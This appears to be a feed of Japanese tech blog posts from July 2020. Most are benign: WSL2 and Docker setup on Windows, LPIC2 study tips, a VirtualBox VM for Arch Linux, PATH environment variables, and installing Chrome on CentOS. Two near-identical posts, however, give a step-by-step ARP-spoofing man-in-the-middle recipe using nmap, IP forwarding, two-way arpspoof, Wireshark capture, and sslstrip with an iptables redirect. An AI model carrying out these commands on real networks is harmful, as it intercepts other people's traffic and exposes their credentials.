- 投稿日:2020-07-24T20:56:32+09:00
Docker for Windowsを入れるまでにやったこと
とりあえず、雑にやったこと残します
あとで整形しますやったこと
- Windowsの更新
- MicrosoftStoreからUbuntのインストール
- WLS2へのアップグレード
- Docker for Windowsのインストール
Windowsのバージョンチェック
[Win + R]でファイル名を指定して実行、winverと入力
この段階で、バージョンが19018以下だとDocker for Windowsはインストールできません。Windowsの更新
というわけでWindowsそのものをアップデートします。
Windows 10 May 2020 Update[Update now]ボタンから更新プログラムをダウンロードします。
Windows10Upgrade9252.exeファイルがダウンロードされるので、クリックして起動します。
途中の経過をキャプチャ取り忘れましたが、スタートして30分くらいで完了し、再起動を求められます。
再起動後にバージョンを確認すると、19041になりました
MicrosoftStoreからUbuntのインストール
もともとWindows使うの久しぶりでWLSもまともに使ってなかったので、wslを起動しようとしても以下のようになります。
なので、MicrosoftStoreからLinux(Ubunts)をインストールします。
Ubuntu20.04.LTSを選びます。
ここは別に好きなLinuxにしてもらっても大丈夫です。
起動するとターミナルが開くので、username、passwordを設定します。
WLS2へのアップグレード
Windowsの機能確認と更新
以下のコマンドでWindowsの機能確認ができます
dism.exe /online /get-featuresコマンド実行時に以下の2つが有効になっているかを確認します
機能名 : Microsoft-Windows-Subsystem-Linux 状態 : 有効 機能名 : VirtualMachinePlatform 状態 : 有効なっていない場合は以下のコマンドで有効にしてください
- Microsoft-Windows-Subsystem-Linux
dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart
- VirtualMachinePlatform
dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestartLinuxカーネルの更新
インストール済みのLinuxディストリビューションを確認します。
wsl --list --verboseNAME STATE VERSION * Ubuntu-20.04 Running 1今はVersion1になっているのでコマンドでVersion2に上げるのですが、このままやると
WSL 2 を実行するには、カーネル コンポーネントの更新が必要です
と言われてしまうので、Linuxのカネールを更新します。以下のページにアクセスして、パッケージのダウンロードをします。
WSL 2 Linux カーネルの更新
wsl_update_x64ファイルがダウンロードされるので、クリックして起動します。
[Next]を押します
[Finishi]を押して完了です。
LinuxディストリビューションをWSL2に設定
以下のコマンドでUbuntuをWSL2にアップデートします
wsl --set-version Ubuntu-20.04 2ディストリビューションを確認します。
wsl --list --verboseNAME STATE VERSION * Ubuntu-20.04 Running 2変更されました。
WSL2をデフォルトに設定
WSLからデフォルトバージョンをWSL2に変更します
wsl --set-default-version 2Docker for Windowsのインストール
もともとはコレがやりたかった。
随分遠回りしたけど、インストールやってきます。Docker Desktop Installerファイルがダウンロードされるので、クリックして起動します。
[OK]で先に進みます
インストールが進みます
完了です、[Close and log out]でログアウトします
このとき再起動がかかります再起動後にDocker for windowsの設定画面でましたが、正直使うのはDockerのコマンドだけなので飛ばしました。
一応起動中は以下の場所に常駐していて、Dashboardから画面は開けます。
まとめ
ともかく長かった。
WindowsのDockerがめんどくさいとは聞いていたが、ここまでとは・・・
ただ、WSL2になってDockerの実行環境がLinuxになったのはましになったと思う。というわけで、本当にやりたかったことはこれからやります。
- 投稿日:2020-07-24T19:37:24+09:00
AWS学習よりLPIC2の資格勉強を優先する理由
AWS上でLinuxを利用しているから。~fin~
まえがき
社会人として働いていると意識するのは、時間の使い方ですよね。
この資格"LPIC2"を取得するか、AWS学習を続けるかで迷って、LPICを選択した理由を書き綴ります。
(個人的な理由も混ざっているので温かい目でみてください。)開発プラットフォームのトップである
IPAさんのデータ白書2018-2019(リンク)によると、
開発プラットフォームとして一番選択されているのはLinuxです。
世の中の様々なクラウドサービスもlinux上で動いているという考えをすれば、汎用的で腐りません。
今後もいろいろなソフトウェア、サービスが開発され、linuxが利用されることでしょう。AWSのありがたみを知りたかった
「このサービスを利用することで〇〇することができます!」
って発表されたとき、「すごい!画期的!便利!」(サービスを理解している)
「へー、何が嬉しいの?」(サービスを知っている)
「なにそれ?」(サービスをしらない)上のうち、どのようなリアクションをすることが多いでしょうか?
自分は「なにそれ?」が一番多かったです。
今までの状態を知らないと、
そもそもXX機能がある、XX機能の課題として△△があったが、新サービスは〇〇できるため、課題を克服できる。
と順々に理解して、そこに満足感を覚え止まってしまいがちで、
この機能はどこであれを担保しているのかー?など一回りレベルが上がった疑問は
今までの状態を知っていないと考えつくのも難しかったですが、
LPICを勉強してクラウドのありがたみを改めて理解できました。技術の歴史的な変遷、今ある技術、その技術でできることを抑えておくと、
よりクラウドサービスを活用できると思います。(余談)LPIC2の内容はネットワーク、サーバ、サービスまわりで、
クラウドサービスを利用する上で避けて通れません。
自分は開発メインでインフラ担当ではないですが、
webサーバの設定などを改めて見直すことができました。評価される成果がほしかった
ここらへんから個人的理由です。
実はAWSのSAAという資格も持っています(←タイトル詐欺疑惑)
背景を補足すると、自分はインフラもなにもしらんままAWS利用しはじめて、
流石にまずいなとおもったのがきっかけで勉強しました。
勉強を通して、サービス全体の考え方とその種類が知ることができました。実務でAWSを利用する上では資格を取るメリットは薄いと思います。
必要な知識を必要なときに学んだ方が効率的です。
実務でも役に立つのは、資格ではなく、資格を取得するために勉強した内容です。しかし経歴として残るのは資格です。資格に重きを置く企業もあります。
(コードテストなしで人を採用する企業さんもありますし。)
GAFAの響きいいですしね。なんかすごそう感。(資格詐欺もありますけど)
実務何年の経歴も育った環境に依存するので、アウトプットみないとわかりません。実務だと最終的に〇〇しか使わないから覚える意味ないみたいな意見もあると思いますが、
選択肢を狭める意味もないかとも思います。
その代わり他の勉強をするような選択肢を取ることもできます。自分のいる環境だと、資格取得の評価が高く、
AWS学習した!では評価が低かった、それだけです。
(AWS資格取得した!でも良かったんですけど、前章の理由よりLPICに。。)資格更新期限が迫っていた
LPIC1をとったのが5年前でそろそろ期限切れるなぁ、、
と思ったのも大きな要因の1つです。
AWS資格も3年ですよね。サービスの更新頻度を理由に有効期限短くする正当性ですよ・・
資格ビジネスお上手(褒めてます。)LPIC2勉強詳細
資格勉強なにしたの?って方向けのコンテンツ↓↓
わいスペック
- 基本情報、応用情報もってる。
- SI系の会社で企画・営業・開発・研究なんでもやってたらキャリアがどっか行ったマン。
- 社会人5年目。
利用した書籍・サービス
Linux教科書 LPICレベル2 Version 4.5対応 | 翔泳社(いわゆる小豆本)
kindle版購入したんですけど、コマンドまわりとか見にくいので、
ping-tで覚えて、足りないところ補完する感じでした。ping-t 3ヶ月コース
ping-tは自分の勉強できる時間と相談して、落ちたときのために1ヶ月余分に購入しました
勉強期間・勉強時間
2ヶ月。
LPIC 201、202それぞれ50時間ほど。
平日1-2時間、休日3-5時間。勉強方法
- 小豆本読む
- ping-tで金になるまで問題やる
- 再度小豆本読む
- ping-t模擬試験or全問題60問を10回ほどやる
- ↑9割超えている→次の日受験で申込
所感
- LPIC 202は小豆本ping-tだけだとかなり細かく頭に入れないと受かりません。
- 別の本を追加購入することをおすすめします。
- 自分は合格点ギリギリでした。
- 暗記パンほしい
最後に
まだまだ、IT関連で知らないことだらけで今後も勉強しなきゃなぁ・・と思ったり、
社会人としての勉強怠ってきたからそっちも勉強したいなぁ・・とも感じたり。お読みいただき、ありがとうございました。
- 投稿日:2020-07-24T19:09:42+09:00
【悪戦苦闘潭譚】ArchLinux #1-1. VMの準備
あんた誰?
初投稿です。Nanai10a(なないじゅあ)と申します。
この世の最底辺の技能知識0/注意散漫erです。この記事は何?
今回はArchLinuxを入れようとしたら苦戦したお話をしていこうと思います。
注意事項
- 記事を読んでくださっている方の気分を著しく損なう内容が含まれています。
- 手順通りのことをしません
- エラーが出てもそのまま進めようとします
- 知ったかぶりをします
以上の事項にお気をつけて。
環境
今回やっていく環境の詳細は以下の通りです。
CPU : Intel(R) Core(TM) i3-8145U RAM : 16.0 GB (15.8 GB 使用可能) GPU : Intel(R) UHD Graphics 620 (最大 8GB) OS : Windows 10 Home Edition 1909 (ビルド番号 18363.959) メーカー : mouse (F5-i3)Prologue
簡潔に言うと、
- Linuxのディストリビューションについて聞いたら名前が挙がった
- 聞く限りは魅力的な事項が多かった
- パッケージ管理システム(pacman)がなんか良さそう(※適当)
- 素の状態からだからカスタマイズ性が高い(※これめっちゃ好き)
- CUIインストールをやってみたかった
上記の理由でArchLinuxを使ってみたくなりました。
以上です。下準備:VMを立てる
「実機インストールは怖いし、インストール対象がない」
という訳でVMでやっていきます。今回使用するのはOracle VM VirtualBoxです。まずはダウンロード。
画像左上、Downsloadsより、
VirtualBox *.*.* platform packages
(この画像では6.1.12
)でインストーラーをダウンロード。
私の環境はWindowsなので、Windows hosts
をクリックしてダウンロードしました。
私がやったときはVirtualBox-6.1.12-139181-Win.exe
がダウンロードされました。ダウンロードしたらばすかさずインストーラーを起動。
※本当はSHA256とかMD5で整合性を確認した方が良いけどしていません…
Next
をポチポチやっていきます。
[最初の画面]
→Custom Setup(アイコンとかが出てインストール先を選ぶやつ)
→Custom Setup(Option)
で私はCreate a shortcut on desktop
とCreate a shortcut in the Quick Launch Bar
からチェックを外しました。
それ以外は特に何もせず、普通にインストール。
インストール時にドライバーのインストール確認が出ますが、インストール
。インストールしたらすかさず起動。
ツール
タブの新規
でVMを立てます。
設定は後から変えられるので適当に。名前はお好みで、マシンフォルダーはそのまま。
(Tips:VMの名前をOSの名前にすると、タイプ・バージョン指定できる一部のOSは勝手にそのタイプ・バージョンになります。)
タイプはLinux
、バージョンはArch Linux (64-bit)
メモリは私の環境が16GB
なので多めに8GB(8192MB)
を割り当て。
ハードディスクは仮想ハードディスクを使いますがここでは設定せず、仮想ハードディスクを追加しない
、
作成
を押すと警告が出ることがありますが続ける
。これでVMが立てられました。設定をしていきます。
立てたVMのタブをクリックし、
設定
をクリック。
システム
タブの
マザーボード
の起動順序
を光学
→ハードディスク
→フロッピー
→ネットワーク
にして最後2つからはチェックを外す。(最後2つは使わないので)プロセッサー
のプロセッサー数
を多めに2CPU
割り当て。(私の環境は2C/4T
なのでこれ以上には出来ない)スクリーン
タブのスクリーン
のビデオメモリー
を64MB割り当て。(適当。深い意味はない)ストレージ
タブの
ストレージデバイス
に
SATA
を設定し、ハードディスク追加のボタンから作成
(ファイルサイズは30GB(適当。深い意味はない)
ハードディスクのファイルタイプはVDI
、
物理ハードディスクにあるストレージは可変サイズ
、と基本設定をそのまま。)
、一覧に出たらそれを選択。こんな感じでVMの設定はおしまいです。(後でもう一回だけ設定に触れますが)
おわり
今回はこれでおしまいです。
次回は実際にArchLinuxをVMにインストールしてみようと思います。
ではまた次回。
- 投稿日:2020-07-24T18:59:31+09:00
Windows 10でLinuxを使う(WSL2)
Windows 10のWindows Subsystem for Linux 2(WSL2)を使うと、Windows 10上で、超お手軽にLinuxで遊ぶことができる。
How to Install
必要条件
- バージョン 2004、ビルド 19041 以上に更新された Windows 10 を実行している。
使用しているWindowsのバージョンはwinver
コマンドで確認できる。"Windows Subsystem for Linux"の有効化
管理者としてpowershellを開き、以下を実行。
dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart"Virtual Machine Platform"の有効化
管理者としてpowershellを開き、以下を実行。PCを再起動するかどうか問い合わせがあるので、
Y
を入力する。PCが自動的に再起動する。dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /allWSL2用Linuxカーネルのインストール
WSL 2 Linux カーネルの更新ページから、WSL2用Linuxカーネルをダウンロードして、インストールする。
デフォルトをWSL2に設定
Linuxディストリビューションをインストールする際に、デフォルトでWSL2を使うように設定する。
powershellを開き、以下を実行。wsl --set-default-version 2Linuxディストリビューションをインストール
- Microsoft Storeを起動し、Ubuntu等のディストリビューションを検索
Ubuntu以外には、DebianやSLES等何種類かある。 なお、特定の版数のUbuntuを入れたい場合は、版数が入ったもの(Ubuntu 20.04 LTS等)を入れたほうがよい。版数無しUbuntuはインストールする時期によって、版数が変わる模様。
2. 「入手」ボタンをクリックして、Ubuntuをインストール
3. インストール完了後、「起動」をクリックしてUbuntu起動!
4. 初回起動時にUbuntu用ユーザIDとパスワードを設定して、インストール完了
ここで入力するユーザ名はWindowsのユーザ名とは関係ない。
root権限が必要な場合は、sudoで実行できる。なお、パスワードを忘れた場合は、パスワードを忘れた場合を参照。
How to use
スタートメニューから起動
インストールしたLinuxディストリビューションは通常のアプリケーションと同様に、スタートメニューから起動可能。作成したユーザでログインした状態で起動する。
Windows Terminalからアクセス
Windows Terminal
では、自動でWSLのプロファイルが登録されるため、すぐにアクセスできるのでお勧め。Microsoft Storeからインストールできるので、気になる方は試してみては。
Windows-Linux間のファイル共有
LinuxからのWindows上のファイルへのアクセス
WindowsのCドライブがLinuxの
/mnt/c
にマウントされている。/mnt/c
にアクセスすることで、Windows上のファイルにアクセス可能。WindowsからLinux上のファイルへのアクセス
\\wsl$\[ディストリビューション名]
でLinux上のファイルにアクセス可能。Ubuntuを使っている場合は、\\wsl$\Ubuntu
でアクセスする。How to Uninstall
通常のアプリケーションと同様に
プログラムの追加と削除
からアンインストール可能。その他
コマンドプロンプトから
wsl
コマンドで、インストール済みディストリビューション一覧の参照、アンインストール等ができる。C:\>wsl -l -v NAME STATE VERSION * Ubuntu-20.04 Running 2リンク
Windows Subsystem for Linux に関するドキュメント
- WSL関連のリソース。ここから一通りの情報にアクセスできる。
Installation Instructions for WSL 2
- WSL2のインストール手順。
- 投稿日:2020-07-24T17:39:51+09:00
LinuxのコマンドってなんでPATHを書かなくても実行できるんだ?
はじめに
最近Linuxを触っている時に、
ls,cd,pwd
とかのコマンドってなんで実行ファイルまでのPATHを書かなくても実行できるんだと思ったのがこの記事を書くきっかけになりました。目次
- 環境変数
- PATHを通す
1. 環境変数
PATHの話をする前にまずこの環境変数について触れなければなりません。
環境変数とは、OSが設定値などを永続的に保存し、利用者や実行されるプログラムから設定・参照できるようにしたもの。 プログラムの実行時などに必要となる、利用者やコンピュータごとに内容が異なる設定値などを記録するために用いられる。(IT用語辞典 e-Words)
簡単に言えば、ユーザーごとに変数にある値を設定することができるし、コンピュータ全体にも設定することができるって感じです。
では、どのように環境変数を設定するかと言うと
$ NAME=Tanaka $ export NAME # or $ export NAME=TanakaこのようにしてLinuxでは環境変数を設定することが出来ます。
しかし、この状態では永続的には環境変数を保存することが出来ません。なのでここで~/.bash_profile
に環境変数を設定しなければいけません。#.bash_profile NAME='Tanaka' export NAMEこうすることで、永続的に環境変数を設定することができます。
soruce ~/.bash_profile
とすることで、ログアウトしてログインせずに反映させることだできる。2. PATHを通す
さて、この記事の本題であるls,pwd,cdといったLinuxのコマンドがPATHを通さずに実行することが出来るかというと、環境変数にPATHを設定しているということです。
$ echo $PATH # 現在の変数PATHに設定している状態が表示される # 例) /usr/bin:/usr/local/sbin などこのPATHに対して設定することでls,cd,pwdなどがPATHを通さずに使用することが出来るのです。
# ~/bash_profile PATH="$PATH:/usr/bin" export PATHまとめ
普段何気なく使っていた
ls,cd,pwd,yum
などがPATHを通さずに使えた理由が環境変数のPTAHに通すことで使用出来ているのです。何かの実行ファイルをダウンロードしてきた時にPATHを通す処理何かはそういことです。次回は、詳しく触れなかった
~/.bash_profile
やsource
コマンドについて記事を書いていきたいと思っています。参考資料
https://ja.wikipedia.org/wiki/%E7%92%B0%E5%A2%83%E5%A4%89%E6%95%B0
https://qiita.com/Naggi-Goishi/items/2c49ea50602ea80bf015
- 投稿日:2020-07-24T10:19:52+09:00
ArcoLinux stops using release numbers in
ArcoLinux の続報です。
Arco の本家でArco が Rolling ReleaseになったとのInfo がありました。
ArcoLinux stops using release numbers in /etc/lsb-release
本家のinfo ←クリック(新窓)
え? Arch系のくせにRolling じゃなかったの?
本家の開発者も「yes it will but no numbers anymore」
とFacebook で発言しています。これから安心して使えるようになって欲しいものです。
- 投稿日:2020-07-24T04:52:26+09:00
ARPスプーフィング ( 中間者攻撃 , MITM )
1. 攻撃対象のIPアドレス取得
ifconfigarp -anmap -F 192.168.XXX.XXX/24などなど
2. 攻撃者のPCを経由するパケットをフォワードさせるためにIPフォワーディングを有効
1で有効
echo 1 > /proc/sys/net/ipv4/ip_forward0で無効
echo 0 > /proc/sys/net/ipv4/ip_forward3. ARPテーブル書き換え
NICを wlan0 に指定して,192.168.100.123 のARPテーブルにある 192.168.100.124 のMACアドレスを攻撃者(自身)のMACアドレスに書き換える
sudo arpspoof -i wlan0 -t 192.168.100.123 192.168.100.124NICを wlan0 に指定して,192.168.100.124 のARPテーブルにある 192.168.100.123 のMACアドレスを攻撃者(自身)のMACアドレスに書き換える
sudo arpspoof -i wlan0 -t 192.168.100.124 192.168.100.123注意:送信と受信両方が攻撃者PCを経由して通信するようにする為,別ターミナルで2回実行する必要がある!
4. パケットキャプチャ
wireshark5. おまけ
sslストリップ
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080sslstrip -l 8080cat sslstrip.log6. 参考文献
https://qiita.com/kinokoruumu/items/a4d98c5a55243b5afe96
https://www.slideshare.net/sonickun/arp-39782351
https://network-beginner.xyz/sslstrip
https://tutorialmore.com/questions-594005.htm
https://netwiz.jp/arp-spoofing/
https://www.atmarkit.co.jp/ait/articles/0305/09/news003_3.html
https://milestone-of-se.nesuke.com/nw-basic/ethernet/gratuitous-arp/
https://network-beginner.xyz/dns_spoof
- 投稿日:2020-07-24T04:52:26+09:00
ARPスプーフィング手順 ( 中間者攻撃 , MITM )
1. 攻撃対象のIPアドレス取得
ifconfigarp -anmap -F 192.168.XXX.XXX/24などなど
2. 攻撃者のPCを経由するパケットをフォワードさせるためにIPフォワーディングを有効
1で有効
echo 1 > /proc/sys/net/ipv4/ip_forward0で無効
echo 0 > /proc/sys/net/ipv4/ip_forward3. ARPテーブル書き換え
NICを wlan0 に指定して,192.168.100.123 のARPテーブルにある 192.168.100.124 のMACアドレスを攻撃者(自身)のMACアドレスに書き換える
sudo arpspoof -i wlan0 -t 192.168.100.123 192.168.100.124NICを wlan0 に指定して,192.168.100.124 のARPテーブルにある 192.168.100.123 のMACアドレスを攻撃者(自身)のMACアドレスに書き換える
sudo arpspoof -i wlan0 -t 192.168.100.124 192.168.100.123注意:送信と受信両方が攻撃者PCを経由して通信するようにする為,別ターミナルで2回実行する必要がある!
4. パケットキャプチャ
wireshark5. sslストリップ
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080sslstrip -l 8080cat sslstrip.log6. 参考文献
https://qiita.com/kinokoruumu/items/a4d98c5a55243b5afe96
https://www.slideshare.net/sonickun/arp-39782351
https://network-beginner.xyz/sslstrip
https://tutorialmore.com/questions-594005.htm
https://netwiz.jp/arp-spoofing/
https://www.atmarkit.co.jp/ait/articles/0305/09/news003_3.html
https://milestone-of-se.nesuke.com/nw-basic/ethernet/gratuitous-arp/
https://network-beginner.xyz/dns_spoof
- 投稿日:2020-07-24T00:23:29+09:00
CentOS7系にChromeをインストールする
目的
- CentOS初体験でChromeのインストールすら詰まったので方法をまとめる
実施環境
- CentOSバージョン 7.8.2003
概要
- rpmファイルのダウンロード
- yumを利用したインストール
詳細
- rpmファイルのダウンロード
- 下記ページにアクセスする。
- 64ビット.rpm(Fedora/openSUSE用)を選択して「同意してインストール」をクリックする。
- 「プログラファイルとして保存する」をクリックする。
yumを利用したインストール
- Downloadディレクトリに移動する。
下記コマンドを実行してインストールを行う。
$ sudo yum -y install google-chrome-stable_current_x86_64.rpmディスクトップ左下の「Kickoff アプリケーションランチャー」をクリックして「アプリケーション」→「インターネット」の中にChromeのアイコンが存在する。